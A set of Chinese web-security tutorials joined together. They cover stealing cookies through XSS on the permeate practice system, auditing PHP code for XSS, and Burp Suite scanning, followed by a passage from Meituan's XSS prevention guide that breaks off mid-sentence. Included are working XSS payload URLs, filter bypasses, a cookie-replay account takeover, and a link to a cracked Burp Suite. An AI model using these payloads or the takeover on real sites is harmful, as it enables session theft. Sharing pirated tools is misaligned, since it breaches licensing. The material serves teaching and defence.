Platform的一些功能，在安装完成界面点击进入首页，会要求先登录，在登录界面输入刚才安装时所填写的管理员账号信息，点击登录即可，登录成功之后会自动跳转到首页，如下图所示在首页中可以看到有一个默认项目，点击default后可以看到受害者列表，不过刚刚安装肯定是还没有数据的，如下图所示在图中右上方有一个查看代码的链接，点击进去便可以查看XSS Platform预备好的攻击代码，如下图所示五、攻击测试现在笔者将正是开始进行一些实践演示，首先会找出一个permeate渗透测试系统的XSS漏洞，将XSS Platform的攻击代码插入进去；然后模拟受害者访问到被攻击的页面，会到XSS platform系统中查看收到的cookie值，最后使用接收到的cookie来冒充受害者。permeate 渗透测试系统源码和搭建教程地址可以参考：https://github.com/78778443/permeate5.1 插入XSS代码笔者此前已经将permeate渗透测试系统搭建成功，下面将在此系统发表一个帖子，并在帖子标题中插入XSS Platform中预备好的攻击代码，如下图所示点击发表按钮，便将帖子发布成功，此时假定自己为受害者，访问了此帖子列表，在列表中会读取帖子的标题，帖子<script>标签别浏览器执行便不会显示出来，如下图所示5.2 接收cookie可以看到并没有显示出来，再回到XSS Platform当中，查看default项目中的受害者列表，可以看到一个受害者，如下图所示说明受害者已经成功中招，并且通过攻击代码已经获取到对方的cookie值和header信息5.3 替换cookie有了cookie值之后，笔者将使用另外一个浏览器，通过修改cookie的方式来登录受害者的账户，如下图修改cookie的操作再次刷新时，已经变成了登录身份，如下图所示六、图书推荐如果对笔者的文章较为感兴趣，可以关注笔者新书《PHP Web安全开发实战》，现已在各大平台上架销售，封面如下图所示作者：汤青松日期：2018-12-08微信：songboy8888 ...

一、背景笔者此前录制了一套XSS的视频教程，在漏洞案例一节中讲解手工挖掘、工具挖掘、代码审计三部分内容,准备将内容用文章的形式再次写一此,前两篇已经写完，内容有一些关联性，其中手工XSS挖掘篇地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198本文主要记录通过代码审计的方式进行XSS漏洞挖掘，分为了找出关键位置，正向审计，反向审计三个部分，审计的系统为permeate渗透测试系统，测试系统的搭建可以参考笔者的第一篇文章。二、操作概要找出关键位置正向审计反向审计三、找出关键位置打蛇打七寸，说明在关键位置做事效率会更高，代码审计找出漏洞也是同理，因此笔者需要找出XSS关键的位置;对于目前的大多数Web应用来说，MVC模式是非常主流的一种形式，因此笔者这里将找到对应的控制器和模板，在这一节当中主要讲解找出位置的思路3.1 找出控制器找出控制器的方式通常是通过主入口文件与URL地址两块去分析，现在笔者打开首页，发现URL地址为http://permeate.songboy.net/home/index.php当点击板块后，URL地址变成了如下地址http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6从URL地址中可以看到不管首页还是板块页面，都经过URL地址home/index.php,因此笔者接下来便可以通过打开home/index.php文件来查看控制器所存放的位置,打开后代码如下所示<?phprequire_once “../core/common.php”;include “./public/header.php”;includeAction("$model","$action");include “./public/footer.php”;再次打开../core/common.php文件，代码如下所示function includeAction($model, $action){ //判断控制器是否存在 $filePath = “./action/$model.php”; if (is_readable($filePath)) { require_once $filePath; $class = new $model; if (is_callable(array($class, $action))) { $class->$action(); return true; } } //如果没有找到对应的控制器，直接调用模板文件 $tplFilePath = “./tpl/$model/$action.php”; if (is_readable($tplFilePath)) { require_once $tplFilePath; return true; } echo ‘控制器或模板文件’ . $filePath . ‘不存在!’; die;}从代码中可以看出，其控制器文件存放在home/action/下，此时笔者打开此文件夹，可以看到几个php文件，如下图所示回想刚才笔者所看到的URL地址如下http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6联想起来其控制器文件为tiezi.php,将其打开一看<?phpclass tiezi{ function __construct() { } public function index() { ….. $data[‘count’] = $count; $data[‘page_size’] = $page_size; $data[‘page_count’] = $page_count; $data[‘page_num’] = $page_num; displayTpl(’tiezi/index’, $data); }果然发现了index方法3.2 找出模板得到控制器之后，笔者还需要找到模板存放的位置，通常模板与控制器是息息相关，因此可以控制其中找到蛛丝马迹，比如上面的代码当中，最后一行代码为displayTpl函数，从字面意思上可以理解为显示模板，因此笔者通过PHPStorm的跳转功能直接跳过去查看该函数的具体流程，找到代码如下所示/** * 加载模板文件 * @param $tplPath /function displayTpl($tplPath, $data = []){ $filePath = “./tpl/$tplPath.php”; if (!is_readable($filePath)) { echo ‘模板文件’ . $filePath . ‘不存在!’; die; } foreach ($data as $key => $val) { $$key = $val; } require_once $filePath;}在上面代码当中可以看出模板存放于home/tpl目录下，通过文件夹打开查看，如下图所示3.3 验证位置通过上面的操作流程已经基本确定控制器与模板的位置，但为了防止意外，还是准确验证一下，在控制器中输出一个字符串1111111，在模板中输出字符串222222222，如果按照笔者之前所预想的，那么这两组字符串都会被输出，参考代码如下在控制器中加入的测试代码如下public function index(){ echo ‘11111111111’;在模板文件中加入的测试代码如下222222222222222<?php$get = $_GET;?><section class=“section”>现在会到浏览器，在当前页面单击鼠标右键，选中查看源代码，如下图所示在源代码当中，搜索字符串11111,果然搜索到字符串，如下图所示四、正向审计在找到关键位置之后，笔者便可以针对性的去进行代码审计，XSS的代码审计主要有两种方式，正向代码审计，反向代码审计；正向代码审计的意思是从参数的接收到参数最后的使用这个流程进行检查，而反向审计则是相反从变量使用的位置上推到参数接收4.1 接收参数位置首先通过正向方式来进行代码审计，正向代码审计是从接收参数进行排查，因此找到控制器当中，通过编辑器的搜索功能，笔者在控制器文件当中搜索了关键字 $_GET 找到了tiezi.php控制器中的index方法，代码如下所示 public function index() { $id = $_GET[‘bk’]; $bk = &$id; //开始分页大小 $page_size = 15; //获取当前页码 $page_num = empty($_GET[‘page’]) ? 1 : $_GET[‘page’]; //中间代码……………..省略 $data[‘bk’] = $bk; $data[‘count’] = $count; $data[‘page_size’] = $page_size; $data[‘page_count’] = $page_count; $data[‘page_num’] = $page_num; displayTpl(’tiezi/index’, $data); }4.2 模板位置是否过滤从上面代码当中可以看出参数bk并没有进行任何过滤，便直接放到了模板当中，这便留下安全隐患，如果在模板当中也没用进行安全过滤，那么就存在着反射型XSS漏洞，打开模板文件并搜索关键词bk，代码如下所示<div class=“post-list-controller”> <div style=“float: right”> <a class=“btn btn-primary” href=“fatie.php?bk=<?php echo $bk ?>">发帖</a> </div>可以看出，模板中确实没有进行安全过滤4.3 漏洞验证http://permeate.songboy.net/home/index.php?m=tiezi&a=index&bk=6%22%3E%3Cscript%3Ealert(123)%3C/script%3E如下图所示五、反向审计反向审计则从模板中找出使用了那些变量，并反推变量的来源，以及是否进行了安全过滤5.1 找出模板中的变量通过PHPStrom编辑器的正则表达式功能匹配变量，正则表达式如下echo $([a-z])这个正则表达式是匹配输出变量,比如匹配字符echo $zhangsan，用PHPStorm匹配到的结果如下图所示双击鼠标左键打开对应代码文件/home/search.php，代码如下所示在代码中可以看出变量直接放在模板当中，如果在控制器当中也没有转义此变量的来源，那么很有可能会存在XSS问题。5.2 查找变量来源追踪变量$keyword,找到变量来源<?phpinclude “public/header.php”;include “../core/common.php”;$keywords = $_REQUEST[‘keywords’];if (!empty($keywords)) { $where = " where title like ‘%$keywords%’ “;从上面的代码当中可以看出变量$keywords并没有进行任何过滤，因此可以笃定此处也存在这XSS漏洞问题5.3 漏洞验证从代码的位置发现与前面的唯一入口不同，此代码文件并不是类文件，因此尝试直接访问，构造出URL地址如下http://permeate.songboy.net/home/search.php?keywords=%E6%B5%8B%E8%AF%95%3Cscript%3Ealert(123)%3C/script%3E通过火狐浏览器访问此URL地址之后，出现结果如下图所示在提示框当中果然弹出了123的提示六、新书推荐如果对笔者的Web安全文章较为感兴趣，可以关注笔者更多文章内容，新书《PHP Web安全开发实战》，现已在各大网点销售，封面如下图所示作者：汤青松微信：songboy8888日期：2018-10-09 ...

一、背景笔者6月份在慕课网录制视频教程XSS跨站漏洞 加强Web安全,里面需要讲到很多实战案例，在漏洞挖掘案例中分为了手工挖掘、工具挖掘、代码审计三部分内容,手工挖掘篇参考地址为快速找出网站中可能存在的XSS漏洞实践(一)https://segmentfault.com/a/1190000016095198本文主要记录利用Web安全工具Burp suite进行XSS漏洞挖掘部分，分为了设置代理，漏洞扫描，漏洞验证三个部分，其中permeate渗透测试系统的搭建可以参考第一篇文章。二、操作概要下载工具设置代理漏洞扫描漏洞验证三、下载工具3.1 安装JDK环境在本文中是使用的工具burp suite需要JAVA环境才能运行，所以需要事先安装好JAVA环境，JAVA环境安装方法本文中再赘述，读者可以自行搜索JAVA JDK环境安装；3.2 下载工具burp suite的官网地址为:https://portswigger.net/burp/,打开官网后可以看到burp分为三个版本，分别是企业版、专业版、社区版本,在本文中笔者所使用的是专业版，参考下载地址如下：链接: https://pan.baidu.com/s/1H1ScgZTjPosZsdgjJDM4PA 提取码: s747下载并解压刚才所下载的zip文件，便能看到文件夹中有一些文件和文件夹，如下图所示3.3 工具运行在上图中可以看到有一个jar文件，此文件便为Java语言所开发，因此只要安装了JAVA环境即可运行，不管是windows还是mac都可以运行此程序，双击BurpUnlimited.jar打开此程序，打开之后会有一个提示，如下图所示在提示框中告知该程序为破解版本，仅用来学习，如果可以请购买正版，这里点击确定按钮，会再次看到一个确认界面，任然点击Next按钮，如下图所示最后便能看到程序的界面，如下图所示当打开程序看到上图界面时便是已经运行程序成功，下面便将进入burp suite的使用教程。四、设置代理现在笔者的工具已经运行成功，接着便开始使用brup suite开始挖掘出XSS漏洞，使用工具挖掘有三个步骤，第一步便是将一些基础信息给burp suite，第二步则让burp suite自行扫描出更多信息，第三步便是开始正是挖掘.现在笔者需要给工具提供一些基本信息，比如域名和URI地址以及cookie信息和其他各方面的数据；提供的方式有两种，第一种是自己手动去填写各项信息，第二种则是直接抓获浏览器的数据包给burp suite，而手动提供相比较为麻烦，因此笔者这里通过抓浏览器的数据包的方式，让工具自己去获得所需的数据；抓包主要有三个步骤，首先需要让burp suite开启代理服务，然后设置浏览器的代理地址，最后浏览器访问网址burpsuite便可以看到数据包，具体操作流程如下4.1 打开代理burp suite开启代理服务比较简单，笔者将上方选项卡切换到proxy->Options这个位置，可以看到其实工具已经默认其实已经开启代理服务127.0.0.1地址，如下图所示在上图中可以看到了127.0.0.1:8080这个地址，此时已经开启代理服务，因此不需要再做任何设置。4.2 浏览器设置现在代理服务已经打开，接着便是让浏览器的数据经过代理服务，笔者所使用的是谷歌浏览器，并安装了代理插件，这里将以插件设置代理的方式为例，如下图所示从上图当中可以看到笔者所设置的协议为http代理，地址为127.0.0.1，端口信息为80804.3 抓包验证接下来便是要进行代理的验证，最简单的验证方式便是通过浏览器打开网站，然后查看burp suite能否抓到数据包，笔者在第一篇文章快速找出网站中可能存在的XSS漏洞实践(一)(https://segmentfault.com/a/1190000016095198)当中已经安装好了对应的渗透测试系统，因此不再重复说明，五、漏洞扫描在前面的准备操作之后，现在便进入了核心操作环节，用burp suite进行抓包、爬虫、扫描等操作，分别对应的作用是通过抓包获取基本信息、通过爬虫获取即将被扫描的网站更多信息、通过扫描对获取到的信息进行暴力测试。5.1 数据抓包笔者现在以permeate渗透测试系统的XSS漏洞挖掘为例，首先通过浏览器permeate渗透测试系统，URL地址如下:http://permeate.songboy.net/按下回车键之后，浏览器此时应该是处于等待状态，此时回到工具burp suite当中，可以看到已经抓到了数据包，如下图所示点击工具中的Forward按钮，便可以将此放开，此时浏览器所展现的界面如下图所示，说明页面已经被打开5.2 爬去链接再次刷新浏览器，依然可以抓取到数据包，这次笔者需要通过burp suite去抓取permeate渗透测试系统中的URL地址，这个过程笔者称之为爬虫，操作方式如下图所示在数据包的位置，右键单击点击，出现选项，点击send to spider之后，便可以在spier选项卡中可以看到如下图所示在上图中可以看到burp suite已经找到了permeate中的46个链接地址，接着笔者切换到target选项卡当中，如下图所示在target选项卡下，可以看到爬去到的所有链接地址5.3 挖掘漏洞在收集到了permeate渗透测试系统中的大部分URL的地址之后，就可以使用burp suite进行渗透测试工作，在渗透测试中会针对每一个地址进行常规漏洞的测试，包含了SQL注入、XSS跨站、命令执行、CSRF、明文表单、文件包含等方面的漏洞本文中笔者以XSS漏洞为例，在target选项卡下，选中对应的域名地址，鼠标单击右键，便可以看到Actively scan this host这一选项，如下图所示点击之后该选项之后，便进入下一交互框当中，此时可以去除一些没有参数的URL地址，笔者这里勾选后将会去除没有参数的URL地址，以及后缀为js、gif、jpg、png、css的地址，如下图所示点击下一步之后，便可以看到筛选后的URL地址，如下图所示再次点击下一步之后，便开始进行了渗透测试，此时点击选项卡scanner便可以看到扫描的进度以及扫描的结果大致状态六、漏洞验证工具burp suite在扫描出漏洞之后会给出提示，但提示并不是完全准确，因此还需要人为的验证6.1 查看进度渗透测试所花费的时间是是由URL数量和网速所决定的，通常需要一定的时间，笔者可以在选项卡Scanner中的子选项卡Scan issue中可以看到渗透测试的进度以及扫描的大致情况，比如有些项当中呈现出红色，则代表扫描到高危漏洞，如下图所示6.2 扫描结果当扫描完成之后，可以在Scanner下的子选项卡Issue activity中看到完整的结果，结果中的红色表示高危漏洞，橙色表示低危漏洞，灰色则表示提示性安全为题，笔者选中其中一个红色选项卡，类型为Cross-site scripting,这个便是XSS漏洞，在下方可以看到的具体payload，如下图所示在payload当中，点击右键单击便可以复制其URL地址，可将其URL地址用于漏洞验证使用，如下图所示6.3 漏洞验证现在笔者通过浏览器人工的验证一下此payload是否真正存在，刚才笔者已经将带有payload的地址复制了下来，URL地址如下http://permeate.songboy.net/home/index.php?m=tiezie2eir%3cscript%3ealert(1)%3c%2fscript%3eftspc&a=index&bk=10验证的时候注意一定不要使用谷歌内核的浏览器，因为谷歌内核浏览器自带XSS筛选器，会到导致网站及时存在反射型的XSS也无法复现因此笔者使用火狐浏览器进行漏洞验证，如下图所示七、新书推荐如果对笔者的Web安全文章较为感兴趣，可以关注笔者更多文章内容，新书《PHP Web安全开发实战》，现已在各大平台销售，封面如下图所示作者：汤青松微信：songboy8888日期：2018-10-09

前端安全随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。本文我们会讲解 XSS ，主要包括：XSS 攻击的介绍XSS 攻击的分类XSS 攻击的预防和检测XSS 攻击的总结XSS 攻击案例XSS 攻击的介绍在开始本文之前，我们先提出一个问题，请判断以下两个说法是否正确：XSS 防范是后端 RD（研发人员）的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。如果你还不能确定答案，那么可以带着这些问题向下看，我们将逐步拆解问题。XSS 漏洞的发生和修复XSS 攻击是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。一个案例某天，公司需要一个搜索页面，根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下：<input type=“text” value="<%= getParameter(“keyword”) %>"><button>搜索</button><div> 您搜索的关键词是：<%= getParameter(“keyword”) %></div>然而，在上线后不久，小明就接到了安全组发来的一个神秘链接：http://xxx/search?keyword="><script>alert(‘XSS’);</script>小明带着一种不祥的预感点开了这个链接<span style=“color:red”>[请勿模仿，确认安全的链接才能点开]</span>。果然，页面中弹出了写着"XSS"的对话框。可恶，中招了！小明眉头一皱，发现了其中的奥秘：当浏览器请求 http://xxx/search?keyword="><script>alert(‘XSS’);</script> 时，服务端会解析出请求参数 keyword，得到 “><script>alert(‘XSS’);</script>，拼接到 HTML 中返回给浏览器。形成了如下的 HTML：<input type=“text” value=”"><script>alert(‘XSS’);</script>"><button>搜索</button><div> 您搜索的关键词是："><script>alert(‘XSS’);</script></div>浏览器无法分辨出 <script>alert(‘XSS’);</script> 是恶意代码，因而将其执行。这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。面对这种情况，我们应该如何进行防范呢？其实，这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。聪明的小明很快找到解决方法，把这个漏洞修复：<input type=“text” value="<%= escapeHTML(getParameter(“keyword”)) %>"><button>搜索</button><div> 您搜索的关键词是：<%= escapeHTML(getParameter(“keyword”)) %></div>escapeHTML() 按照如下规则进行转义：字符转义后的字符&&amp;<&lt;>&gt;"&quot;’&#x27;/&#x2F;经过了转义函数的处理后，最终浏览器接收到的响应为：<input type=“text” value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;"><button>搜索</button><div> 您搜索的关键词是：&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;</div>恶意代码都被转义，不再被浏览器执行，而且搜索词能够完美的在页面显示出来。通过这个事件，小明学习到了如下知识：通常页面中包含的用户输入内容都在固定的容器或者属性内，以文本的形式展示。攻击者利用这些页面的用户输入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代码片段。攻击者通过在目标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在风险。通过 HTML 转义，可以防止 XSS 攻击。<span style=“color:red”>[事情当然没有这么简单啦！请继续往下看]</span>。注意特殊的 HTML 属性、JavaScript API自从上次事件之后，小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置，让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦，于是小明的工作又渐渐变得轻松起来。但是，作为导演的我，不可能让小明这么简单、开心地改 Bug 。不久，小明又收到安全组的神秘链接：http://xxx/?redirect_to=javascript:alert(‘XSS’)。小明不敢大意，赶忙点开页面。然而，页面并没有自动弹出万恶的“XSS”。小明打开对应页面的源码，发现有以下内容：<a href="<%= escapeHTML(getParameter(“redirect_to”)) %>">跳转…</a>这段代码，当攻击 URL 为 http://xxx/?redirect_to=javascript:alert(‘XSS’)，服务端响应就成了：<a href=“javascript:alert(&#x27;XSS&#x27;)">跳转…</a>虽然代码不会立即执行，但一旦用户点击 a 标签时，浏览器会就会弹出“XSS”。可恶，又失策了…在这里，用户的数据并没有在位置上突破我们的限制，仍然是正确的 href 属性。但其内容并不是我们所预期的类型。原来不仅仅是特殊字符，连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。小明眉头一皱，想到了解决办法：// 禁止 URL 以 “javascript:” 开头xss = getParameter(“redirect_to”).startsWith(‘javascript:’);if (!xss) { <a href="<%= escapeHTML(getParameter(“redirect_to”))%>"> 跳转… </a>} else { <a href="/404”> 跳转… </a>}只要 URL 的开头不是 javascript:，就安全了吧？安全组随手又扔了一个连接：http://xxx/?redirect_to=jAvascRipt:alert(‘XSS’)这也能执行？…..好吧，浏览器就是这么强大。小明欲哭无泪，在判断 URL 开头是否为 javascript: 时，先把用户输入转成了小写，然后再进行比对。不过，所谓“道高一尺，魔高一丈”。面对小明的防护策略，安全组就构造了这样一个连接：http://xxx/?redirect_to=%20javascript:alert(‘XSS’)%20javascript:alert(‘XSS’) 经过 URL 解析后变成 javascript:alert(‘XSS’)，这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则，又成功的完成了注入。最终，小明选择了白名单的方法，彻底解决了这个漏洞：// 根据项目情况进行过滤，禁止掉 “javascript:” 链接、非法 scheme 等allowSchemes = [“http”, “https”];valid = isValid(getParameter(“redirect_to”), allowSchemes);if (valid) { <a href="<%= escapeHTML(getParameter(“redirect_to”))%>"> 跳转… </a>} else { <a href="/404"> 跳转… </a>}通过这个事件，小明学习到了如下知识：做了 HTML 转义，并不等于高枕无忧。对于链接跳转，如 <a href=“xxx” 或 location.href=“xxx”，要检验其内容，禁止以 javascript: 开头的链接，和其他非法的 scheme。根据上下文采用不同的转义规则某天，小明为了加快网页的加载速度，把一个数据通过 JSON 的方式内联到 HTML 中：<script>var initData = <%= data.toJSON() %></script>插入 JSON 的地方不能使用 escapeHTML()，因为转义 " 后，JSON 格式会被破坏。但安全组又发现有漏洞，原来这样内联 JSON 也是不安全的：当 JSON 中包含 U+2028 或 U+2029 这两个字符时，不能作为 JavaScript 的字面量使用，否则会抛出语法错误。当 JSON 中包含字符串 </script> 时，当前的 script 标签将会被闭合，后面的字符串内容浏览器会按照 HTML 进行解析；通过增加下一个 <script> 标签等方法就可以完成注入。于是我们又要实现一个 escapeEmbedJSON() 函数，对内联 JSON 进行转义。转义规则如下：字符转义后的字符U+2028\u2028U+2029\u2029<\u003c修复后的代码如下：<script>var initData = <%= escapeEmbedJSON(data.toJSON()) %>通过这个事件，小明学习到了如下知识：HTML 转义是非常复杂的，在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则，很有可能会埋下 XSS 隐患。应当尽量避免自己写转义库，而应当采用成熟的、业界通用的转义库。漏洞总结小明的例子讲完了，下面我们来系统的看下 XSS 有哪些注入的方法：在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。在标签的 href、src 等属性中，包含 javascript: 等可执行代码。在 onload、onerror、onclick 等事件中，注入不受控制代码。在 style 属性和标签中，包含类似 background-image:url(“javascript:…”); 的代码（新版本浏览器已经可以防范）。在 style 属性和标签中，包含类似 expression(…) 的 CSS 表达式代码（新版本浏览器已经可以防范）。总之，如果开发者没有将用户输入的文本进行合适的过滤，就贸然插入到 HTML 中，这很容易造成注入漏洞。攻击者可以利用漏洞，构造出恶意的代码指令，进而利用恶意代码危害数据安全。XSS 攻击的分类通过上述几个例子，我们已经对 XSS 有了一些认识。什么是 XSSCross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。为了和 CSS 区分，这里把攻击的第一个字母改成了 X，于是叫做 XSS。XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。而由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下，由于输入的限制，注入的恶意脚本比较短。但可以通过引入外部的脚本，并由浏览器执行，来完成比较复杂的攻击策略。这里有一个问题：用户是通过哪种方法“注入”恶意脚本的呢？不仅仅是业务上的“用户的 UGC 内容”可以进行注入，包括 URL 上的参数等都可以是攻击的来源。在处理输入时，以下内容都不可信：来自用户的 UGC 信息来自第三方的链接URL 参数POST 参数Referer （可能来自不可信的来源）Cookie （可能来自其他子域注入）XSS 分类根据攻击的来源，XSS 攻击可分为存储型、反射型和 DOM 型三种。类型存储区插入点存储型 XSS后端数据库HTML反射型 XSSURLHTMLDOM 型 XSS后端数据库/前端存储/URL前端 JavaScript存储区：恶意代码存放的位置。插入点：由谁取得恶意代码，并插入到网页上。存储型 XSS存储型 XSS 的攻击步骤：攻击者将恶意代码提交到目标网站的数据库中。用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。这种攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。反射型 XSS反射型 XSS 的攻击步骤：攻击者构造出特殊的 URL，其中包含恶意代码。用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。反射型 XSS 跟存储型 XSS 的区别是：存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效，攻击者往往会结合多种手段诱导用户点击。POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见。DOM 型 XSSDOM 型 XSS 的攻击步骤：攻击者构造出特殊的 URL，其中包含恶意代码。用户打开带有恶意代码的 URL。用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行。恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。XSS 攻击的预防通过前面的介绍可以得知，XSS 攻击有两大要素：攻击者提交恶意代码。浏览器执行恶意代码。针对第一个要素：我们是否能够在用户输入的过程，过滤掉用户输入的恶意代码呢？输入过滤在用户提交时，由前端过滤输入，然后提交到后端。这样做是否可行呢？答案是不可行。一旦攻击者绕过前端过滤，直接构造请求，就可以提交恶意代码了。那么，换一个过滤时机：后端在写入数据库前，对输入进行过滤，然后把“安全的”内容，返回给前端。这样是否可行呢？我们举一个例子，一个正常的用户输入了 5 < 7 这个内容，在写入数据库前，被转义，变成了 5 &lt; 7。问题是：在提交阶段，我们并不确定内容要输出到哪里。这里的“并不确定内容要输出到哪里”有两层含义：用户的输入内容可能同时提供给前端和客户端，而一旦经过了 escapeHTML()，客户端显示的内容就变成了乱码( 5 &lt; 7 )。在前端中，不同的位置所需的编码也不同。当 5 &lt; 7 作为 HTML 拼接页面时，可以正常显示：<div title=“comment”>5 &lt; 7</div>当 5 &lt; 7 通过 Ajax 返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算。不能用于标题、alert 等。所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等等内容，进行输入过滤还是必要的。既然输入过滤并非完全可靠，我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类：防止 HTML 中出现注入。防止 JavaScript 执行时，执行恶意代码。预防存储型和反射型 XSS 攻击存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。预防这两种漏洞，有两种常见做法：改成纯前端渲染，把代码和数据分隔开。对 HTML 做充分转义。纯前端渲染纯前端渲染的过程：浏览器先加载一个静态 HTML，此 HTML 中不包含任何跟业务相关的数据。然后浏览器执行 HTML 中的 JavaScript。JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（.innerText），还是属性（.setAttribute），还是样式（.style）等等。浏览器不会被轻易的被欺骗，执行预期外的代码了。但纯前端渲染还需注意避免 DOM 型 XSS 漏洞（例如 onload 事件和 href 中的 javascript:xxx 等，请参考下文”预防 DOM 型 XSS 攻击“部分）。在很多内部、管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高，或有 SEO 需求的页面，我们仍然要面对拼接 HTML 的问题。转义 HTML如果拼接 HTML 是必要的，就需要采用合适的转义库，对 HTML 模板各处插入点进行充分的转义。常用的模板引擎，如 doT.js、ejs、FreeMarker 等，对于 HTML 转义通常只有一个规则，就是把 & < > " ’ / 这几个字符转义掉，确实能起到一定的 XSS 防护作用，但并不完善：XSS 安全漏洞简单转义是否有防护作用HTML 标签文字内容有HTML 属性值有CSS 内联样式无内联 JavaScript无内联 JSON无跳转链接无所以要完善 XSS 防护措施，我们要使用更完善更细致的转义策略。例如 Java 工程里，常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明。<!– HTML 标签内文字内容 –><div><%= Encode.forHtml(UNTRUSTED) %></div><!– HTML 标签属性值 –><input value="<%= Encode.forHtml(UNTRUSTED) %>" /><!– CSS 属性值 –><div style=“width:<= Encode.forCssString(UNTRUSTED) %>"><!– CSS URL –><div style=“background:<= Encode.forCssUrl(UNTRUSTED) %>"><!– JavaScript 内联代码块 –><script> var msg = “<%= Encode.forJavaScript(UNTRUSTED) %>”; alert(msg);</script><!– JavaScript 内联代码块内嵌 JSON –><script>var INITIAL_STATE = JSON.parse(’<%= Encoder.forJavaScript(data.to_json) %>’);</script><!– HTML 标签内联监听器 –><button onclick=“alert(’<%= Encode.forJavaScript(UNTRUSTED) %>’);"> click me</button><!– URL 参数 –><a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top”><!– URL 路径 –><a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>"><!– URL. 注意：要根据项目情况进行过滤，禁止掉 “javascript:” 链接、非法 scheme 等–><a href=’<%= urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : “/404”%>’> link</a>可见，HTML 的编码是十分复杂的，在不同的上下文里要使用相应的转义规则。预防 DOM 型 XSS 攻击DOM 型 XSS 攻击，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。在使用 .innerHTML、.outerHTML、document.write() 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 .textContent、.setAttribute() 等。如果用 Vue/React 技术栈，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。DOM 中的内联事件监听器，如 